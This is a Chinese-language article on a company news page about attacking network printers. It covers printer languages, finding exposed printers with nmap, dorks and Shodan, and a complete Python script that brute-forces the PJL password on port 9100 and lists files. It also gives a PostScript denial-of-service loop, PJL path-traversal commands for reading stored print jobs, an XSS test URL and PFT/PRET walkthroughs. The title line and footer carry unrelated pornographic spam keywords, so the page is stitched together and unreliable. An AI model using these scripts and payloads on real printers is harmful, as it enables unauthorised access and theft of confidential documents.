久久人午-久久人午夜亚洲精品无码区-久久―日本道色综合久久-久久日本精品99久久久-久久日本片精品aaaaa国产-久久三级

行業(yè)新聞

您當前的位置:首頁 > 新聞資訊 > 行業(yè)新聞

不可忽視的打印機漏洞研究

發(fā)布源:深圳維創(chuàng)信息技術(shù)發(fā)布時間:2020-10-27 瀏覽次數(shù):

一、前言經(jīng)過最近一段時間測試,發(fā)現(xiàn)企業(yè)內(nèi)網(wǎng)打印機存在多種數(shù)據(jù)泄露漏洞,同時也經(jīng)常被大家所忽略,因此才有本文的研究。

當一臺打印機連接網(wǎng)絡,可以進行端口掃描、讀寫上傳惡意文件、反彈shell,相當于一臺服務器。

常見攻擊,信息泄露,如訪問內(nèi)存,可能發(fā)現(xiàn)密碼或打印文件中的敏感數(shù)據(jù),訪問文件系統(tǒng),泄露配置文件或存儲的打印作業(yè);DOS;遠程代碼執(zhí)行漏洞RCE,通過緩沖區(qū)溢出漏洞,構(gòu)造惡意數(shù)據(jù)包,使打印機執(zhí)行惡意代碼,將固件更新為含有惡意的固件;打印任務控制,修改打印內(nèi)容等。

二、打印機語言在研究打印機前有必要熟悉打印語言,網(wǎng)上各種介紹打印機語言,大家看的會比較混亂,比如有時候是打印機描述語言,有時候又叫打印機控制語言。

下面以本人的理解去介紹打印機語言,其實打印機語言按分類是有兩類,一種是頁面描述語言(PDL),另一種是嵌入式語言(Escape碼語言),而HP的PCL控制語言和PostScript(以下簡稱 PS)都屬于PDL頁面描述語言。

1. PS與PCL介紹PS、PCL等打印語言其實是一個命令集,它告訴打印機如何組織被打印的文檔。

打印機驅(qū)動程序把這些命令嵌在打印數(shù)據(jù)中傳給打印機,而不是單獨傳送,并由打印機的打印控制器再分開解釋。

PCL網(wǎng)上介紹的都差不多,PCL對計算機系統(tǒng)資源占用也較少,同時對字庫、圖像的解釋能力較強等,關鍵還是把本文前面部分弄懂,否則會很混亂,不利于對打印機的漏洞研究。

2. 對比PCL在處理文本、文檔方面比較出色(已支持圖形功能),速度明顯,但是打印質(zhì)量與PS差距不大,PS在處理打印大的文件,如PDF、Photoshop等軟件下打印大的圖形圖像文件有速度優(yōu)勢,準確度、色彩方面比PCL強。

所以 PCL語言適用于普通的商務辦公應用,PS適用于對圖形和色彩準確度要求比較高的專業(yè)應用。

3. 工作流程在計算機上將打印內(nèi)容位圖格式解釋成標準的頁面描述文件,為PostScript、PCL等格式,這種文件被傳到打印機的控制器中,控制器將頁面描述文件,發(fā)送給光柵圖像處理器 (Raster Image Processor),把PostScript、PCL格式解釋成位圖格式,打印機才可以打印位圖格式的圖像。

4. PJL打印任務語言(PJL)用于指導打印機行為,利用PJL語言可以對打印任務執(zhí)行管理性的更改設置,對打印文件形成有限管理控制,例如,在打印機文件系統(tǒng)下用戶不經(jīng)常留意的以下特定位置中,它可對打印文件執(zhí)行存儲刪除操作。

其它打印機語言是PCL的擴展,如打印機作業(yè)語言PJL是 PCL的擴展,用于控制打印機的行為,上面提到PCL只處理內(nèi)容,擴展的PJL則可以永久性的修改設備的設置,如印紙張大小和數(shù)量。

而 PJL可以被用來執(zhí)行DoS攻擊、打印頁面控制、讀取文件系統(tǒng)和內(nèi)存,甚至惡意固件更新。

供應商往往只支持PJL 控制語言中的部分命令,并根據(jù)打印機的需要自行添加專有的功能。

5. PPDPS、PCL都是一種與設備無關的打印機語言,它們只處理打印的內(nèi)容,而與設備相關的分辨率、紙張大小它們不處理。

PS 、PCL可以將打印內(nèi)容解釋成頁面描述文件,這個文件會被控制器解析并打印。

但是對譬如分辨率、紙張大小、進紙盒進行選擇時,調(diào)用的是打印機描述(PostScript Printer Description ,即PPD)文件來實行各種打印機的不同特性,PS、PCL 語言在打印的時候,即定義圖像時根本不用去考慮打印機的分辨率、紙張大小,由打印機的PPD文件來決定,給處理字體帶來了極大的靈活性。

PPD文件主要提供以下與打印機有關的特定信息::默認/ 最高分辨率,是否支持半色調(diào)監(jiān)控,用戶設定的監(jiān)控信息,頁面大小定義,頁面可打印區(qū)域,默認字體(通常為Courier),是否支持雙面打印等等。

每一種不同的 PostScript打印機都分別對應有專門的PPD文件。

關于PostScript仿真,因為目前使用PostScrit語言需要向 Adobe公司支付一筆費用,成本較高,因此才有與PostScript完全兼容的PostScript仿真,像 HP公司的一些激光打印機中使用的PostScript仿真,也無需再支付Adobe公司相應的費用。

6. 利用PS可以用于各種攻擊,例如拒絕服務,打印作業(yè)處理和保留以及訪問打印機的文件系統(tǒng)等惡意操作。

打印機指令語言PCL很難被攻擊利用,該頁面描述語言不直接訪問底層文件系統(tǒng),因此和PS相比,該描述語言并不是很適合用于攻擊的目的,不過PCL的擴展PJL容易受到攻擊,下文基本上是基于PJL。

三、 探測打印機1. namp-A 192.168.1.*主要查看開放哪些端口,并檢測操作系統(tǒng)指紋,一般開放如下端口、服務為打印機:2. Savins打印機發(fā)現(xiàn)SmartDeviceMonitor工具,可以搜索Savins打印機,去官網(wǎng)下載:3. JetDirect打印機JetAdminJetAdmin可用來控制、搜索JetDirect打印機,可快速找出子網(wǎng)中的JetDirect打印機,它通過SNMP廣播網(wǎng)絡來定位打印機。

4. ARP協(xié)議掃描NMAP、Cain,通過MAC地址發(fā)現(xiàn) Hewlett Packard、Ricoh或其它廠商的MAC地址。

nmap-R192.168.1.0/245. 谷歌搜索打印機的WEB登陸鏈接放置在內(nèi)網(wǎng)站點上,易于他們管理或存儲文檔,但有時內(nèi)網(wǎng)并不是真正處于內(nèi)網(wǎng)中,但可以通過互聯(lián)網(wǎng)訪問到。

Ricoh Savins(由于打印機頻繁地存儲文檔,導致被下載,這確實是一個真正的安全殺手):intitle:"webimagemonitor""/web/user/en/websys/webArch/mainFrame.cgi"inurl:"/en/sts_index.cgi"HPJetdirects(各型號均不相同)inurl:hp/device/this.LCDispatcherCUPSConnectedPrintersinurl:":631/printers"-php-demo6. 其它搜索shodan搜索,device:printer。

鐘馗之眼搜索,service:”jetdirect”。

四、漏洞挖掘

1. PJL密碼爆破若打印機的9100端口向公網(wǎng)開啟,在向打印機發(fā)送PJL指令之前需要對使用者的身份進行認證,認證程序的密鑰長度為2字節(jié)(Byte),通過爆破可以將 PJL 的密碼安全保護禁用,最終執(zhí)行任意PJL命令。

如果直接通過9100端口執(zhí)行PJL命令,說明存在未授權(quán)訪問。

PJL是打印控制語言PCL的擴展。

文章前面部分已經(jīng)介紹過,這里是針對認證PJL的爆破,否則無法使用PJL命令。

危害:通過 PJL 除了能夠查看和更改打印機狀態(tài)之外,還可以對打印機內(nèi)置的文件系統(tǒng)進行訪問,進而可繞過密碼驗證通過 PJL 對打印機內(nèi)置的文件系統(tǒng)進行讀寫。

文件系統(tǒng)包含后臺處理打印作業(yè)、收到的傳真、日志文件和配置文件。

9100端口一般為JetDirect的端口,JetDirect雖然是惠普設計的,但是眾多打印機都使用該軟件,包括Canon、Lexmark、Samsung和Xerox。

該軟件負責處理通過網(wǎng)絡提交的打印請求。

網(wǎng)絡打印機通過JetDirect協(xié)議,偵聽,接收打印請求數(shù)據(jù)。

如下是PJL密碼存儲格式:@PJLJOBPASSWORD=0@PJLDEFAULTPASSWORD=12345@PJLDEFAULTDISKLOCK=ON@PJLDEFAULTCPLOCK=ON可通過 內(nèi)存和文件系統(tǒng)讀取獲取密碼,或暴力破解。

爆破代碼python3如下:importsocketimportsysdefmain():iflen(sys.argv)<=1:print('Parameterserror')returns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.settimeout(10)s.connect((sys.argv[1],9100))s.settimeout(None)#發(fā)送讀取設備ID的PJL指令s.send(('33%-12345X@PJLINFOID\r\n33%-12345X\r\n').encode('UTF-8'))print(s.recv(1024).decode('UTF-8'))foriinrange(1,65536):buf=b''#發(fā)送重置密碼的PJL指令s.send(('33%-12345X@PJL\r\n@PJLJOBPASSWORD='+str(i)+'\r\n@PJLDEFAULTPASSWORD=0\r\n@PJLEOJ\r\n33%-12345X\r\n').encode('UTF-8'))ifi%30==0:#發(fā)送查詢密碼保護狀態(tài)的PJL指令s.send(('33%-12345X@PJL\r\n@PJLDINQUIREPASSWORD\r\n33%-12345X\r\n').encode('UTF-8'))whileTrue:buf+=s.recv(1)print(buf)try:buf.index(b'\r\n\x0c')try:#密碼保護被禁用buf.index(b'DISABLED')print('passworddisabledok!')#發(fā)送查詢目錄的PJL指令s.send(('33%-12345X@PJL\r\n@PJLFSDIRLISTNAME="0:\\"ENTRY=1COUNT=99\r\n33%-12345X\r\n').encode('UTF-8'))buf=b''whileTrue:buf+=s.recv(1)print(buf)try:buf.index(b'\r\n\x0c')try:#查詢成功buf.index(b'ENTRY')print('PoCOK!')returnexceptValueError:print('PoCNO!')returnexceptValueError:continueexceptValueError:print('passworddisabledfaild!')finally:s.close()returnexceptValueError:continues.close()if__name__=='__main__':main()pft使用此腳本爆破:返回password disabled ok!,說明成功禁用PJL密碼保護。

此腳本先爆破PFT密碼保護,如果爆破成功,然后執(zhí)行查詢磁盤的PJL命令,當然也可只用PFT工具,文章后面部分會講PFT。

2. DOS當向打印機9100端口發(fā)送任何數(shù)據(jù),打印機都可將其打印出來,文章前部分發(fā)現(xiàn),9100端口還支持原始打印、PCL、PostScript和PJL,即可以通過9100端口執(zhí)行PJL。

當執(zhí)行DOS,則可無限循環(huán)打印任務,導致打印任務不斷執(zhí)行,資源耗盡,無法執(zhí)行打印操作。

按個人理解簡單點說,就是當發(fā)起打印任務時,打印機等任務發(fā)起結(jié)束,才會執(zhí)行下一步的打印操作,如果一直循環(huán)打印任務,則無法到達下一步。

通過幾行PostScript代碼實現(xiàn)DOS。

PS代碼實現(xiàn)的循環(huán):%!{}loop3. 路徑遍歷漏洞-案例分析這不是針對某個型號的漏洞,算是打印機的一個通用漏洞,可以通過../等進行目錄穿越,對文件進行讀取和寫入,不過并不是所有的目錄文件都可讀寫,當發(fā)現(xiàn)無法讀寫時,可繼續(xù)切換其它目錄測試,可能存在可讀寫的文件,從而泄露敏感文件,如“Jobs”目錄中存儲的就是打印任務,可以通過PFT 、PRET工具包讀取存儲在其中的任何打印任務。

如果允許 PJL 命令訪問該設備的文件系統(tǒng),遠程攻擊者可以借助 PJL 讀取任意文件,遠程連接打印機并進行遍歷目錄操作。

這里借用個人之前的案例演示,通過9100端口執(zhí)行PJL命令,并且未授權(quán)訪問打印機。

在學習之前,需要熟悉PJL命令。

如下是本人對PJL命令的整理:@PJLFSDELETENAME=“pathname”[<CR>]<LF>#刪除文件@PJLFSDOWNLOADFORMAT:BINARY[SIZE=int][<CR>]<LF>#下載文件到打印機@PJLFSINITVOLUME=“pathname”[<CR>]<LF>#初始化打印機文件系統(tǒng)@PJLFSMKDIRNAME=“pathname”[<CR>]<LF>#創(chuàng)建目錄@PJLDINQUIRECPLOCK#檢查控制面板狀態(tài)@PJLDINQUIREPASSWORD#檢查密碼保護狀態(tài)@PJLJOBPASSWORD=[Number:0to65535]#當前密碼保護密碼@PJLDEFAULTPASSWORD[Number:0to65535]#修改保護密碼@PJLDEFAULTCPLOCK=[ON,OFF]#控制面板狀態(tài)@PJLSETIOBUFFER=[ON,OFF,AUTO]#設置緩沖區(qū)@PJLSETIOSIZE=[10-100]#設置緩存區(qū)大小@PJLSETPCNAME=[String]#設置計算機名稱@PJLSETHOLD=[ON,JOB,STORE,PROOF]#設置文件保存@PJLSETHOLDKEY=[Number:0000to9999]#設置保存文件密碼@PJLDEFAULTDISKLOCK=[ON,OFF]#設置硬盤鎖定狀態(tài)@PJLSETSPOOLTIME#設置打印日期@PJLSETCOPIES#設置打印數(shù)@PJLSETJOBNAME#設置打印機文件名稱@PJLSETRESOLUTION#設置分辨率@PJLSETDRIVERNAME#設置驅(qū)動@PJLUSTATUSJOB#輸出隊列中還未打印任務的狀態(tài)@PJLCOMMENT#添加注釋@PJLSETOUTTRAY#出紙盤(紙張輸出位置)@PJLSETORIENTATION=[PORTRAIT,LANDSCAPE]#頁面方向@PJLSETDUPLEX=[ON,OFF]#雙工模式(雙面打印)@PJLSETBINDING=[LONGEDGE,SHORTEDGE]#雙工模式:短邊、長邊@PJLRNVRAMADDRESS#讀取內(nèi)存@PJLOPMSGDISPLAY#設置打印機離線脫機@PJLSETSERVICEMODE#設置服務模式@PJLWNVRAMADDRESS#寫入內(nèi)存@PJLFSDIRLISTNAME#讀取目錄@PJLFSQUERYNAME#讀取文件@PJLFSUPLOADNAME#文件上傳@PJLFSDOWNLOAD#寫入文件(1) @PJL FSDIRLIST NAME=”0:/” ENTRY=1 COUNT=1024上圖發(fā)現(xiàn)目錄名稱是 0:/,有兩個目錄,一個是本地目錄./,一個是../目錄。

(2) 讀取 ../ 目錄,發(fā)現(xiàn)其下有7個,./代表本目錄@PJLFSDIRLIST NAME=”0:/../” ENTRY=1 COUNT=1024發(fā)現(xiàn)有:.TYPE=DIR..TYPE=DIRDataTYPE=DIRJobsTYPE=DIRTempTYPE=DIRBrowserTYPE=DIRPDLTYPE=DIR(3) 讀取Data目錄發(fā)現(xiàn)有Data、jobs目錄,這里演示訪問其下的Data目錄,發(fā)現(xiàn)Data目錄存在這些目錄文件。

@PJLFSDIRLIST NAME=”0:/../data” ENTRY=1 COUNT=1024發(fā)現(xiàn)Data目錄存在這些目錄文件:.TYPE=DIR..TYPE=DIRDataContractTYPE=DIRCustomerDataDBTYPE=DIR總結(jié):目錄遍歷除了可讀取文件之外,還可寫入,但是并不是所有的文件都可寫入,尋找可寫入的文件,如向啟動腳本寫入代碼,重啟即可執(zhí)行代碼反彈shell,這里我當時時間有限,遍歷幾個目錄沒有發(fā)現(xiàn)啟動腳本,不然只要可寫入就能反彈shell。

路徑遍歷案例:中國移動某省公司打印機未授權(quán)訪問已成功下載移動內(nèi)部資料(保密承諾書?)https://www.secpulse.com/archives/33663.html4. PFT工具根據(jù)文章前面部分,也大概知道了打印機攻擊是基于打印機語言命令,如輸入PJL命令造成相關,需要掌握PJL命令,輸入PJL命令比較麻煩,這里有一個強大的打印機框架工具PFT, 而使用PFT工具可以無需掌握PJL命令,每一個參數(shù)已內(nèi)置打印機語言,只需要調(diào)用對應參數(shù)來利用,配合help查看。

使用教程:(1) PFT連接到打印機pft>server192.168.15.200Serversetto192.168.15.200pft>port9100Portsetto9100pft>connectConnectedto192.168.15.200:9100Device:hpLaserJet4250(2) PFT清除PJL程序保護清除成功之后,也能登錄web控制臺頁面。

pft>envbruteforcetry30INFO:force_recv_clear()timedoutfor270bytes(10sec)Passworddisabledsuccessfully(3) 查看硬盤文件一般高級的打印機會有硬盤,如下命令查看有哪些盤符。

pft>volumesVolumeSizeFreeLocationLabelStatus0:1261977611786240RAM?READ-WRITE(4) ls查看文件pft>ls0:\.-d..-dPostScript-dPJL-dsaveDevice-dwebServer-d(5) 將文件下載到本地get 文件名5. HP JetDirect打印機存儲型XSS攻擊者必須訪問HP鐳射打印機配置頁面,”Product_URL”和”Tech_URL”參數(shù) 存在漏洞,對應CVE號:CVE-2012-3272。

點擊WEB的“支持信息” 連接,按如下輸入:點擊“Apply”按鈕,跳轉(zhuǎn)到支持頁面中(support.htm),出現(xiàn)彈框。

測試方法:http://[server]/support_param.html/config?Admin_Name=&Admin_Phone=&Product_URL=[XSS]&Tech_URL=[XSS]&Apply=Apply6. 打印控制任務PERT連接到打印機,并嘗試利用打印機所使用的打印機語言(目前支持PS,PJL和PCL),如python pret.py IP PS可嘗試調(diào)用打印機PS語言進行操作,一旦使用PRET連接到打印機中的一個功能,我們將可以做很多事情。

例如檢查文件系統(tǒng),創(chuàng)建目錄,更改配置文件、dump整個NVRAM。

如輸出打印“Foo”,執(zhí)行cross topsecret Foo:打印如下:7. 固件漏洞如果打印機不存在PJL命令執(zhí)行漏洞,可針對固件漏洞測試,通過nmap發(fā)現(xiàn)固件版本,Linux_Exploit_Suggester.pl查詢內(nèi)核版本漏洞。

nmap掃描出如下:執(zhí)行perl Linux_Exploit_Suggester.pl -k 2.6.31:PS:該工具只能查詢內(nèi)核3.4.4之前的漏洞信息。

github下載:https://github.com/IntepSecureLabs/Linux_Exploit_Suggester五、總結(jié)從打印機語言到PJL命令執(zhí)行等漏洞分析,包括打印機挖掘思路以及案例分析,總結(jié)了目前常見的打印機數(shù)據(jù)泄露漏洞,其它的高級應用也是基于這些原理基礎上,這里不講PRET工具使用,網(wǎng)上有很多PRET使用教程。

需要提醒一下,大家不要隨便亂用工具來掃打印機,否則會打印出很多請求數(shù)據(jù)包,浪費大量的紙張。

因為這些腳本在端口9100/tcp檢測系統(tǒng)版本時,會發(fā)送探針請求,判斷9100上運行的是何種服務,由于JetDirect并不知道它發(fā)送的是什么數(shù)據(jù),因此會打印出探測報文,最后會打印出一堆垃圾數(shù)據(jù)。


  • 上一篇:網(wǎng)紅、大V、明星的隱私信息大量被泄露數(shù)據(jù)!
  • 下一篇:數(shù)據(jù)泄密案件逐年上升,企業(yè)文件泄密怎么辦?
  • Copyright © 2021 深圳市維創(chuàng)信息技術(shù)有限公司 版權(quán)所有

    粵ICP備2021016007號

    主站蜘蛛池模板: 午夜视频在线免费 | 天美传奇mv免费观看完整版 | 亚洲v欧美v日韩v国产v在线 | 日韩伦理视频在线观看 | 97亚洲自拍另类欧美综合 | 欧美专区中文字幕 | 老熟女导航精品导航 | 日韩免费福利试看3分钟 | 日韩中文字幕v亚洲中文字幕 | 精品女同国产99 | 日本网站在线播放 | 亚美影视免费在线观看 | 亚洲区视频在线观看 | 国产精品放荡v | 国产产精品亚洲一区二区在线观看 | 九三精品私密视频在线观看 | 日本道精品一区二区三区 | 免费高清欧美一区二区三区 | 99视频精品全部国产盗摄视频 | 夜夜国产亚洲视频香蕉 | 国产精品视频专区 | 亚洲欧美suv精品 | 国产精品国产片在 | 97国产精华最好的产品亚洲 | 亚洲欧美国产日韩精 | 国产精品露脸国语对白 | 女人色极品影院 | 日韩视频高清欧美一区 | 国产亚洲精品久 | 农村妇女做爰视频 | 国产亚洲蜜 | 99热精| 亚洲haose在线观看 | 在线日本妇人成熟免费 | 国产资源中文字幕 | 亚洲精品中文字幕字幕 | 国产欧美在线综合一区 | 欧美日韩高清性色生活片 | 亚色九九九全国免费视频 | 日韩欧洲亚洲美三区中文幕 | 亚洲国产一 |